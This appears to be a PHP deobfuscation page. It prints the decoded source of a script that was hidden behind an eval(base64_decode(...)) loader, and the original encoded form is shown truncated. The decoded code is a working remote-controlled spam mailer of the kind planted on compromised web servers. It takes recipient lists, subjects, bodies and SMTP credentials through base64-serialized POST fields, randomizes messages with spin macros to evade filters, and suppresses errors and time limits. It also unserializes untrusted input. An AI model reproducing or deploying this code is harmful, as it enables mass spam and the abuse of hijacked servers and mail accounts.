        $msg .= '<p>' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . "</p>
";
      }
    }
    $this->ErrorInfo = $msg;
  }

  public static function RFCDate() {
    date_default_timezone_set(@date_default_timezone_get());
    return date('D, j M Y H:i:s O');
  }

  protected function ServerHostname() {
    if (!empty($this->Hostname)) {
      $result = $this->Hostname;
    } elseif (isset($_SERVER['SERVER_NAME'])) {
      $result = $_SERVER['SERVER_NAME'];
    } else {
      $result = 'localhost.localdomain';
    }

    return $result;
  }

  protected function Lang($key) {
    if(count($this->language) < 1) {
      $this->SetLanguage('en'); // set the default language
    }

    if(isset($this->language[$key])) {
      return $this->language[$key];
    } else {
      return 'Language string failed to load: ' . $key;
    }
  }

  public function IsError() {
    return ($this->error_count > 0);
  }

  public function FixEOL($str) {
	$nstr = str_replace(array("
", "
"), "
", $str);
	if ($this->LE !== "
") {
		$nstr = str_replace("
", $this->LE, $nstr);
	}
    return  $nstr;
  }

  public function AddCustomHeader($name, $value=null) {
	if ($value === null) {
		$this->CustomHeader[] = explode(':', $name, 2);
	} else {
		$this->CustomHeader[] = array($name, $value);
	}
  }

  public function MsgHTML($message, $basedir = '', $advanced = false) {
    preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images);
    if (isset($images[2])) {
      foreach ($images[2] as $i => $url) {
        // do not change urls for absolute images (thanks to corvuscorax)
        if (!preg_match('#^[A-z]+://#', $url)) {
          $filename = basename($url);
          $directory = dirname($url);
          if ($directory == '.') {
            $directory = '';
          }
          $cid = md5($url).'@phpmailer.0'; //RFC2392 S 2
          if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
            $basedir .= '/';
          }
          if (strlen($directory) > 1 && substr($directory, -1) != '/') {
            $directory .= '/';
          }
          if ($this->AddEmbeddedImage($basedir.$directory.$filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
            $message = preg_replace("/".$images[1][$i]."=[\"']".preg_quote($url, '/')."[\"']/Ui", $images[1][$i]."=\"cid:".$cid."\"", $message);
          }
        }
      }
    }
    $this->IsHTML(true);
    if (empty($this->AltBody)) {
      $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "

";
    }
    $this->Body = $this->NormalizeBreaks($message);
    $this->AltBody = $this->NormalizeBreaks($this->html2text($message, $advanced));
    return $this->Body;
  }

  public function html2text($html, $advanced = false) {
    if ($advanced) {
      //require_once 'extras/class.html2text.php';
      $h = new html2text($html);
      return $h->get_text();
    }
    return html_entity_decode(trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  }

  public static function _mime_types($ext = '') {
    $mimes = array(
      'zip'   =>  'application/zip',
    );
    return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  }

  public static function filenameToType($filename) {
    $qpos = strpos($filename, '?');
    if ($qpos !== false) {
      $filename = substr($filename, 0, $qpos);
    }
    $pathinfo = self::mb_pathinfo($filename);
    return self::_mime_types($pathinfo['extension']);
  }

  public static function mb_pathinfo($path, $options = null) {
    $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
    $m = array();
    preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $m);
    if(array_key_exists(1, $m)) {
      $ret['dirname'] = $m[1];
    }
    if(array_key_exists(2, $m)) {
      $ret['basename'] = $m[2];
    }
    if(array_key_exists(5, $m)) {
      $ret['extension'] = $m[5];
    }
    if(array_key_exists(3, $m)) {
      $ret['filename'] = $m[3];
    }
    switch($options) {
      case PATHINFO_DIRNAME:
      case 'dirname':
        return $ret['dirname'];
        break;
      case PATHINFO_BASENAME:
      case 'basename':
        return $ret['basename'];
        break;
      case PATHINFO_EXTENSION:
      case 'extension':
        return $ret['extension'];
        break;
      case PATHINFO_FILENAME:
      case 'filename':
        return $ret['filename'];
        break;
      default:
        return $ret;
    }
  }

  public function set($name, $value = '') {
    try {
      if (isset($this->$name) ) {
        $this->$name = $value;
      } else {
        throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL);
      }
    } catch (Exception $e) {
      $this->SetError($e->getMessage());
      if ($e->getCode() == self::STOP_CRITICAL) {
        return false;
      }
    }
    return true;
  }

  public function SecureHeader($str) {
    return trim(str_replace(array("
", "
"), '', $str));
  }

  public static function NormalizeBreaks($text, $breaktype = "
") {
    return preg_replace('/(
|
|
)/ms', $breaktype, $text);
  }

  public function Sign($cert_filename, $key_filename, $key_pass) {
    $this->sign_cert_file = $cert_filename;
    $this->sign_key_file = $key_filename;
    $this->sign_key_pass = $key_pass;
  }

  public function DKIM_QP($txt) {
    $line = '';
    for ($i = 0; $i < strlen($txt); $i++) {
      $ord = ord($txt[$i]);
      if ( ((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)) ) {
        $line .= $txt[$i];
      } else {
        $line .= "=".sprintf("%02X", $ord);
      }
    }
    return $line;
  }

  public function DKIM_Sign($s) {
    if (!defined('PKCS7_TEXT')) {
        if ($this->exceptions) {
            throw new phpmailerException($this->Lang("signing").' OpenSSL extension missing.');
        }
        return '';
    }
    $privKeyStr = file_get_contents($this->DKIM_private);
    if ($this->DKIM_passphrase != '') {
      $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
    } else {
      $privKey = $privKeyStr;
    }
    if (openssl_sign($s, $signature, $privKey)) {
      return base64_encode($signature);
    }
    return '';
  }

  public function DKIM_HeaderC($s) {
    $s = preg_replace("/
\s+/", " ", $s);
    $lines = explode("
", $s);
    foreach ($lines as $key => $line) {
      list($heading, $value) = explode(":", $line, 2);
      $heading = strtolower($heading);
      $value = preg_replace("/\s+/", " ", $value) ; // Compress useless spaces
      $lines[$key] = $heading.":".trim($value) ; // Don't forget to remove WSP around the value
    }
    $s = implode("
", $lines);
    return $s;
  }

  public function DKIM_BodyC($body) {
    if ($body == '') return "
";
    $body = str_replace("
", "
", $body);
    $body = str_replace("
", "
", $body);
    while (substr($body, strlen($body) - 4, 4) == "

") {
      $body = substr($body, 0, strlen($body) - 2);
    }
    return $body;
  }

  public function DKIM_Add($headers_line, $subject, $body) {
    $DKIMsignatureType    = 'rsa-sha1'; // Signature & hash algorithms
    $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
    $DKIMquery            = 'dns/txt'; // Query method
    $DKIMtime             = time() ; // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
    $subject_header       = "Subject: $subject";
    $headers              = explode($this->LE, $headers_line);
    $from_header          = '';
    $to_header            = '';
    $current = '';
    foreach($headers as $header) {
      if (strpos($header, 'From:') === 0) {
        $from_header = $header;
        $current = 'from_header';
      } elseif (strpos($header, 'To:') === 0) {
        $to_header = $header;
        $current = 'to_header';
      } else {
        if($current && strpos($header, ' =?') === 0){
          $current .= $header;
        } else {
          $current = '';
        }
      }
    }
    $from     = str_replace('|', '=7C', $this->DKIM_QP($from_header));
    $to       = str_replace('|', '=7C', $this->DKIM_QP($to_header));
    $subject  = str_replace('|', '=7C', $this->DKIM_QP($subject_header)) ; // Copied header fields (dkim-quoted-printable
    $body     = $this->DKIM_BodyC($body);
    $DKIMlen  = strlen($body) ; // Length of body
    $DKIMb64  = base64_encode(pack("H*", sha1($body))) ; // Base64 of packed binary SHA-1 hash of body
    $ident    = ($this->DKIM_identity == '')? '' : " i=" . $this->DKIM_identity . ";";
    $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";
".
                "	t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";
".
                "	h=From:To:Subject;
".
                "	d=" . $this->DKIM_domain . ";" . $ident . "
".
                "	z=$from
".
                "	|$to
".
                "	|$subject;
".
                "	bh=" . $DKIMb64 . ";
".
                "	b=";
    $toSign   = $this->DKIM_HeaderC($from_header . "
" . $to_header . "
" . $subject_header . "
" . $dkimhdrs);
    $signed   = $this->DKIM_Sign($toSign);
    return $dkimhdrs.$signed."
";
  }

  protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) {
    if (!empty($this->action_function) && is_callable($this->action_function)) {
      $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
      call_user_func_array($this->action_function, $params);
    }
  }
}

class phpmailerException extends Exception {
  public function errorMessage() {
    $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
";
    return $errorMsg;
  }
}

// macroces /////////////////////////////////////////////////////////

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i < count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }

    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];

        $word  = generate_word($count);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }


    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);
    
    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{    
    return str_replace("[FTEIL]", $fteil, $content);
}

/////////////////////////////////////////////////////////////////


function sendSmtpMail( $host, $port, $login, $pass, $from, $name, $to, $subject, $body )
{
	try
	{
		$mail = new PHPMailer(true);
		$mail->IsSMTP();
		$mail->Host       = $host;
		$mail->Port       = $port;
		
		if ($port == 587)
		{
			$mail->SMTPSecure = 'tls';
		}
		elseif($port == 465)
		{
			$mail->SMTPSecure = 'ssl';
		}
		
		$mail->SMTPAuth   = true;
		$mail->Username   = $login;
		$mail->Password   = $pass;
		$mail->SetFrom($from, $name);
		$mail->AddReplyTo($from, $name);
		$mail->AddAddress($to);
		$mail->Subject = $subject;
		$mail->MsgHTML($body);

		if (!$mail->send())
		{
			return $mail->ErrorInfo;
		}
		else
		{
			return 0;
		}
	} catch (Exception $e)
	{
		return $mail->ErrorInfo;
	}
}

if (isset($_POST["ping"]))
{
    echo $_POST["ping"];
    exit();
}

if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["acc"]))
{
    exit();
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$message = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$acc = @unserialize(base64_decode($_POST["acc"]));

$good = 0;
$bad = 0;
$last_error = 0;

foreach ($emails as $uid=>$email)
{
    $theme = $themes[array_rand($themes)];

    $theme = alter_macros($theme);
    $theme = num_macros($theme);
    $theme = text_macros($theme);
    $theme = xnum_macros($theme);

    $message = alter_macros($message);
    $message = num_macros($message);
    $message = text_macros($message);
    $message = xnum_macros($message);
    $message = fteil_macros($message, $uid);

    $from = $froms[array_rand($froms)];
    $from = alter_macros($from);
    $from = num_macros($from);
    $from = text_macros($from);
    $from = xnum_macros($from);

    $last_error = sendSmtpMail( $acc[0], $acc[1], $acc[2], $acc[3], $acc[4], $from, $email, $theme, $message);
	
	if ($last_error === 0)
	{
		$good++;
	}
	else
	{
		$bad++;
		$good = count($emails) - $bad;
		break;
	}
}

$res["result"]["error_text"] = $last_error === FALSE ? 0 : $last_error;
$res["result"]["good"] = $good;
$res["result"]["bad"] = $bad;
$res["result"]["check"] = 1;

echo base64_encode(serialize($res));

exit();

Did this file decode correctly?

Original Code

<?php eval(base64_decode('QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CgppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4wLjAnLCAnPCcpICkgewogICRyZXMgPSBBcnJheSgpOwogICRyZXNbInJlc3VsdCJdWyJjaGVjayJdID0gMDsKICBlY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKfQoKZnVuY3Rpb24gY3VzdG9tX3N0cmlwX3RhZ3MoJHRleHQpCnsKICAgICR0ZXh0ID0gc3RyaXBfdGFncygkdGV4dCwgJzxhPicpOwoKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIjxhIGhyZWY9XCIiLCAiWyAiLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCI8L2E+IiwgIiIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlwiPiIsICIgXSAiLCAkdGV4dCk7CgogICAgcmV0dXJuICR0ZXh0Owp9CgpjbGFzcyBTTVRQIHsKICBwdWJsaWMgJFNNVFBfUE9SVCA9IDI1OwogIHB1YmxpYyAkQ1JMRiA9ICJcclxuIjsKICBwdWJsaWMgJGRvX2RlYnVnID0gMDsKICBwdWJsaWMgJERlYnVnb3V0cHV0ICAgICA9ICdlY2hvJzsKICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKICBwdWJsaWMgJFRpbWVvdXQgICAgICAgICA9IDE1OwogIHB1YmxpYyAkVGltZWxpbWl0ICAgICAgID0gMzA7CiAgcHVibGljICRWZXJzaW9uICAgICAgICAgPSAnNS4yLjYnOwogIHByb3RlY3RlZCAkc210cF9jb25uOwogIHByb3RlY3RlZCAkZXJyb3I7CiAgcHJvdGVjdGVkICRoZWxvX3JwbHk7CiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKSB7CiAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgIGVycm9yX2xvZygkc3RyKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgZWNobyBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJHN0ciksIEVOVF9RVU9URVMsICdVVEYtOCcpLiI8YnI+XG4iOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdlY2hvJzoKICAgICAgZGVmYXVsdDoKICAgICAgICBlY2hvICRzdHI7CiAgICB9CiAgfQogIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsKICAgICR0aGlzLT5zbXRwX2Nvbm4gPSAwOwogICAgJHRoaXMtPmVycm9yID0gbnVsbDsKICAgICR0aGlzLT5oZWxvX3JwbHkgPSBudWxsOwoKICAgICR0aGlzLT5kb19kZWJ1ZyA9IDA7CiAgfQogIHB1YmxpYyBmdW5jdGlvbiBDb25uZWN0KCRob3N0LCAkcG9ydCA9IDAsICR0aW1lb3V0ID0gMzAsICRvcHRpb25zID0gYXJyYXkoKSkgewogICAgJHRoaXMtPmVycm9yID0gbnVsbDsKICAgIGlmKCR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdBbHJlYWR5IGNvbm5lY3RlZCB0byBhIHNlcnZlcicpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgoJaWYoZW1wdHkoJHBvcnQpKSB7CiAgICAgICRwb3J0ID0gJHRoaXMtPlNNVFBfUE9SVDsKICAgIH0KCiAgICAkZXJybm8gPSAwOwogICAgJGVycnN0ciA9ICcnOwogICAgJHNvY2tldF9jb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsKICAgICR0aGlzLT5zbXRwX2Nvbm4gPSBAc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3QuIjoiLiRwb3J0LCAkZXJybm8sICRlcnJzdHIsICR0aW1lb3V0LCBTVFJFQU1fQ0xJRU5UX0NPTk5FQ1QsICRzb2NrZXRfY29udGV4dCk7CgogICAgaWYoZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoJ2Vycm9yJyA9PiAnRmFpbGVkIHRvIGNvbm5lY3QgdG8gc2VydmVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2Vycm5vJyA9PiAkZXJybm8sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJzdHInID0+ICRlcnJzdHIpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAiOiAkZXJyc3RyICgkZXJybm8pIik7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGlmKHN1YnN0cihQSFBfT1MsIDAsIDMpICE9ICdXSU4nKSB7CiAgICAgICRtYXggPSBpbmlfZ2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnKTsKICAgICAgaWYgKCRtYXggIT0gMCAmJiAkdGltZW91dCA+ICRtYXgpIHsgLy8gRG9uJ3QgYm90aGVyIGlmIHVubGltaXRlZAogICAgICAgIEBzZXRfdGltZV9saW1pdCgkdGltZW91dCk7CiAgICAgIH0KICAgICAgc3RyZWFtX3NldF90aW1lb3V0KCR0aGlzLT5zbXRwX2Nvbm4sICR0aW1lb3V0LCAwKTsKICAgIH0KCiAgICAkYW5ub3VuY2UgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJGFubm91bmNlKTsKICAgIH0KCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTdGFydFRMUygpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7ICMgdG8gYXZvaWQgY29uZnVzaW9uCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdDYWxsZWQgU3RhcnRUTFMoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdTVEFSVFRMUycgLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDIyMCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICBhcnJheSgnZXJyb3InICAgICA9PiAnU1RBUlRUTFMgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICdzbXRwX21zZycgID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBpZighc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKCR0aGlzLT5zbXRwX2Nvbm4sIHRydWUsIFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU19DTElFTlQpKSB7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBdXRoZW50aWNhdGUoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRhdXRodHlwZT0nTE9HSU4nLCAkcmVhbG09JycsICR3b3Jrc3RhdGlvbj0nJykgewogICAgaWYgKGVtcHR5KCRhdXRodHlwZSkpIHsKICAgICAgJGF1dGh0eXBlID0gJ0xPR0lOJzsKICAgIH0KCiAgICBzd2l0Y2ggKCRhdXRodHlwZSkgewogICAgICBjYXNlICdQTEFJTic6CiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKCdBVVRIIFBMQUlOJyAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgiXDAiLiR1c2VybmFtZS4iXDAiLiRwYXNzd29yZCkgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdBdXRoZW50aWNhdGlvbiBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgICAgY2FzZSAnTE9HSU4nOgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgnQVVUSCBMT0dJTicgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMzM0KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdBVVRIIG5vdCBhY2NlcHRlZCBmcm9tIHNlcnZlcicsCiAgICAgICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpIC4gJHRoaXMtPkNSTEYpOwoKICAgICAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgICAgIGlmKCRjb2RlICE9IDMzNCkgewogICAgICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnVXNlcm5hbWUgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZChiYXNlNjRfZW5jb2RlKCRwYXNzd29yZCkgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdQYXNzd29yZCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgICAgY2FzZSAnTlRMTSc6CiAgICAgICAgcmVxdWlyZV9vbmNlICdleHRyYXMvbnRsbV9zYXNsX2NsaWVudC5waHAnOwogICAgICAgICR0ZW1wID0gbmV3IHN0ZENsYXNzKCk7CiAgICAgICAgJG50bG1fY2xpZW50ID0gbmV3IG50bG1fc2FzbF9jbGllbnRfY2xhc3M7CiAgICAgICAgaWYoISAkbnRsbV9jbGllbnQtPkluaXRpYWxpemUoJHRlbXApKXsvL2xldCdzIHRlc3QgaWYgZXZlcnkgZnVuY3Rpb24gaXRzIGF2YWlsYWJsZQogICAgICAgICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICR0ZW1wLT5lcnJvcik7CiAgICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdZb3UgbmVlZCB0byBlbmFibGUgc29tZSBtb2R1bGVzIGluIHlvdXIgcGhwLmluaSBmaWxlOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRtc2cxID0gJ